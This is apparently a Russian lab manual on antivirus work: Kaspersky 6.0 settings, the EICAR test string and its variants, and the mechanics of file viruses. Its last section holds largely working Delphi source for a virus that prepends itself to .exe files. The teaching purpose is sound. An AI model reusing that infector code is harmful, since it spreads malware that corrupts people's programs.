Настройка и Справка. Первая используется для настройки антивируса, вторая - для вывода справочной системы.
Рис. 2. Окно настроек программы
Антивирусный монитор обеспечивает защиту в режиме реального времени, т. е. постоянно проверяет файлы, которым происходит обращение. В терминах «Антивируса Касперского 6.0» такая функциональность носит название «защита» и делится на защиту файловой системы, проверку электронной почты (протоколы SMTP, POP3, IMAP), веб-антивирус (проверка HTTP трафика), проактивную защиту (противостояние неизвестным вирусам, контроль запуска программ, обращений к реестру Windows).
Рисунок 3. Окно настроек файлового антивируса
Антивирусный сканер (в терминах «Антивируса Касперского 6.0» - поиск вирусов) выполняет сканирование ресурсов компьютера в целях поиска вирусов. Сканирование может быть запущено пользователем вручную или по заранее установленному расписанию.
Рис. 4. Окно настроек поиска вирусов
В узле «Сервис» располагаются средства настройки обновления антивирусных баз, ведения файлов отчетов, параметров уведомлений, настройки сети и внешнего вида программы.
Рис. 5. Окно настроек сервисных функций
-
Тестирование антивирусной функциональности
1.2.1 Использование тестового вируса EICAR
Тестовый вирус EICAR (European Institute for Computer Antivirus Research) разработан Европейским институтом компьютерных антивирусных исследований.
EICAR – это небольшой 68 байтный файл, который при запуске на незащищенном компьютере вызывает показ уведомления "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!". Иных, свойственных вирусам проявлений он не несет. Однако если на компьютере стоит и исправно работает антивирус, EICAR будет заблокирован. Это происходит потому, что все ведущие производители антивирусных программ договорились между собой - считать EICAR вирусом и применять к нему все правила и действия, применяемые к настоящим вредоносным программам.
Для создания антивируса необходимо открыть текстовый редактор и ввести следующую строку символов:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
После этого следует сохранить файл с расширением .com.
Для более подробного тестирования можно применять другие расширения. Например, если указать .txt, можно проверить проверяются ли текстовые файлы. Для проверки будут ли обнаруживаться вирусы в архивах, EICAR можно заархивировать.
1.2.2 Модификация тестового вируса EICAR
Суть EICAR такова, что он оказывается неизлечимым. Это происходит потому, что антивирус идентифицирует EICAR как вирус по наличию в нем упомянутых 68 символов. Если их удалить - то от файла ничего не останется. Следовательно, с помощью EICAR можно тестировать только основную функцию антивируса - обнаружение.
1.2.3 Создать файл CURE-EICAR. Файл создается в текстовом редакторе путем добавления в начало вируса символов “CURE-” и сохранения файла с расширением .com. Обнаружив такой файл антивирус «вылечит» его, сократив размер файла до 4 байт (символы «CURE»).
Рис. 6. Модификация вируса CURE-EICAR
1.2.4 Создать файл DELE-EICAR. Файл создается в текстовом редакторе путем добавления в начало вируса символов “DELE-” и сохранения файла с расширением .com. Обнаружив такой файл, антивирус определяет его как неизлечимый или троянскую программу и удаляет. По результатам проверки файл должен остаться только в резервном хранилище.
Рис. 7. Модификация вируса DELE-EICAR
1.2.5 Создать файл CORR-EICAR. Файл создается в текстовом редакторе путем добавления в начало вируса символов “CORR-” и сохранения файла с расширением .com. Обнаружив такой файл, антивирус определяет его как файл с поврежденной структурой, вследствие чего проверить его на наличие вирусов невозможно. Такой файл признается условно чистым.
Рис. 8. Модификация вируса CORR-EICAR
1.2.6 Создать файл ERRO-EICAR. Файл создается в текстовом редакторе путем добавления в начало вируса символов “ERRO-” и сохранения файла с расширением .com. При сканировании такого файла, антивирус обнаружит ошибку при анализе его содержимого (например, при нарушении целостности при проверке многотомного архива). Такой файл признается условно чистым.
Рис. 9. Модификация вируса ERRO-EICAR
1.2.7 Создать файл SUSP-EICAR. Файл создается в текстовом редакторе путем добавления в начало вируса символов “SUSP-” и сохранения файла с расширением .com. При сканировании такого файла антивирус считает его подозрительным, а именно зараженным неизвестным вирусом. Такой файл должен быть помещен на карантин или удален.
Рис. 10. Модификация вируса SUSP-EICAR
1.2.8 Создать файл WARN-EICAR. Файл создается в текстовом редакторе путем добавления в начало вируса символов “WARN-” и сохранения файла с расширением .com. Такой файл также признается подозрительным, но не неизвестным вирусом, а модификацией известного.
-
Сохранить отчет с результатами работы антивируса в текстовый файл. Для этого в главном окне программы выбрать раздел «Защита» и в нем контейнер «Статистика»
Рис. 11. Выбор контейнера «Статистика» в главном окне программы
В окне «Защита» нажать кнопку «Сохранить как» и сохранить отчет в текстовый файл
Рис. 12. Статистика обнаружения вирусов.
1.4. Изучение механизма работы файловых вирусов
Файловые вирусы записывают свое тело в файл-жертву и используют различные механизмы получения управления с целью выполнения деструктивных функций и дальнейшего распространения. Один из способов заключается в добавлении тела вируса в начало файла-жертвы.
Изначально вирус существует сам по себе. Пусть тем или иным образом он был запущен на выполнение.
-
Вирус ищет файл-жертву.
-
Переименовывает его, задавая ему случайное имя.
-
Создает новый файл в том же каталоге с исходным именем файла-жертвы.
-
Открывает для чтения свой исполняемый файл
-
Записывает в файл, созданный на шаге 3 свой код
-
Открывает для чтения файл-жертву, переименованный на шаге 2
-
Дозаписывает в файл, созданный на шаге 3 код файла-жертвы.
-
Удаляет исходный файл жертвы, переименованный на шаге 2
При запуске инфицированного файла-жертвы вирус выполняется первым и выполняет следующие действия:
-
Проверяет размер запущенного файла в байтах.
-
Если размер больше размера самого вируса, значит запущен инфицированный файл. Иначе – запущен вирус в исходной форме.
-
Вирус создает файл с двойным расширением *.exe.exe (Notepad.exe.exe) в том же каталоге.
-
Смещается в инфицированном файле в место начала настоящей программы Notepad.exe
-
Считывает код программы Notepad.exe и записывает его в файл Notepad.exe.exe
-
Запускает на выполнение файл Notepad.exe.exe
-
Выполняет полезную нагрузку (вредоносные действия)
-
Выполняет поиск новых файлов-жертв и их заражение.
Примерный программный код вируса:
const virsize=1000; //размер файла-вируса в байтах
var victims:TSearchRec; //структура для поиска файлов-жертв
f1,f2:file; //файловые переменные
filemode:=0; //режим открытия файла для чтения
assignfile(f1,paramstr(0)); //связываем переменную f1 с файлом программы
reset(f1,1); //открываем файл для чтения
if (filesize(f1)>virsize) then //если это зараженная программа, то выполняем ее
begin
go; //подпрограмма выполнения программы-жертвы
end;
fileMode:=2; //режим чтения и записи файлов
if FindFirst('*.exe',faAnyFile,victims)=0 then
repeat
if not ((victims.Name)=extractfilename(paramstr(0))) then begin
if not ((victims.Name)=extractfilename(extractfilename(paramstr(0)))) then infect(victims.Name); //заражение файла-жертвы
end;
until FindNext(victims)<>0;
Подпрограмма выполнения программы-жертвы
procedure go;
label 10;
var buf:array[1..virsize] of byte; //буфер для хранения тела вируса
nr,nw:longint;//количество байтов прочитано/количество байтов записано
begin
try
fileMode:=0;//режим только чтения файлов
assignfile(f1,paramstr(0));
reset(f1,1);
filemode:=2;//режим чтения-записи файлов
assignFile(f2,paramstr(0)+'.exe');//подложный файл с двойным расширением
rewrite(f2,1);
seek(f1,virsize);
seek(f2,0);
//записываем в подложный файл код программы-жертвы блоками размером virsize
repeat
filemode:=0;
BlockRead(f1,buf,virsize,nr);
filemode:=2;
BlockWrite(f2,buf,nr,nw);
until ((nr=0) or (nr<>nw));
CloseFile(f1);
CloseFile(f2);
//запискаем на выполнение подложный файл с двойным расширением
winexec(pchar(paramstr(0)+ '.exe'), SW_show);
10:
if not deletefile(pchar(paramstr(0)+'.exe')) then
begin
setcursorpos(random(800),Random(600));
setwindowtext(GetForeGroundWindow, 'Блокнот с ВИРУСОМ');
sleep(400);
goto 10;
end;
except
end;
end;
Подпрограмма заражения файла-жертвы
procedure infect(victim:string);
var a:integer;
buf:array[1..virsize] of byte;
nr,nw:longint;
begin
try
randomize;
assignfile(f1,victim);
a:=random(200);
rename(f1,'bad'+IntToStr(a));
FileMode:=0;
assignfile(f2,paramstr(0));
reset(f2,1);
seek(f2,0);
blockread(f2,buf,virsize);
filemode:=2;
closefile(f2);
assignfile(f1,victim);
rewrite(f1,1);
blockwrite(f1,buf,virsize);
assignfile(f2,'bad'+inttostr(a));
reset(f2,1);
seek(f2,0);
repeat
BlockRead(f2,buf,virsize,nr);
BlockWrite(f1,buf,nr,nw);
until((nr=0)or (nw<>nr));
closeFile(f1);
closeFile(f2);
deletefile(pchar('bad'+inttostr(a)));
except
end;
end;
Поделитесь с Вашими друзьями: |